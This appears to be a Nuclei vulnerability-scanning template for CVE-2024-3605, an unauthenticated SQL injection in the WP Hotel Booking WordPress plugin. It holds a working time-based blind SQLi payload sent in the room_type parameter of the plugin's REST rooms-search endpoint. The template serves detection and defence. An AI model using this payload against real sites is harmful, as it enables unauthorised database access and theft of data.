id: CVE-2024-3605

info:
  name: WP Hotel Booking <= 2.1.0 - SQL Injection
  author: Shivam Kamboj
  severity: critical
  description: |
    The WP Hotel Booking plugin for WordPress is vulnerable to SQL Injection via the 'room_type' parameter of the /wphb/v1/rooms/search-rooms REST API endpoint in all versions up to, and including, 2.1.0 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
  impact: |
    Attackers can execute arbitrary SQL queries, potentially leading to data leakage or database compromise.
  remediation: |
    Update to the latest version of WP Hotel Booking plugin that addresses this vulnerability, or apply security patches provided by the vendor.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-3605
  metadata:
    verified: true
    max-request: 2
  tags: cve,cve2024,sqli,wp,wordpress,wp-plugin,wp-hotel-booking,unauth,vkev

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-json/wphb/v1/rooms/search-rooms?check_in_date=2025-01-01&check_out_date=2025-01-10&adults=4&max_child=0&paged=1&room_type=1 HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
        internal: true

  - raw:
      - |
        @timeout: 15s
        GET /wp-json/wphb/v1/rooms/search-rooms?check_in_date=2025-01-01&check_out_date=2025-01-10&adults=4&max_child=0&paged=1&room_type=1%22%29%20OR%20SLEEP%280.03%29--%20- HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'duration >= 6'
          - 'status_code == 200'
          - 'contains(body, "{\"status\":\"")'
        condition: and
# digest: 4a0a004730450220227f6af59ed93bf357cd488b24b40c1127a8bf52b2a5b3e576a5c8f09f3e6379022100a1370c23c67803691476b9ae835c9d91de886d9a22b45ae983fec84517872301:922c64590222798bb761d5b6d8e72950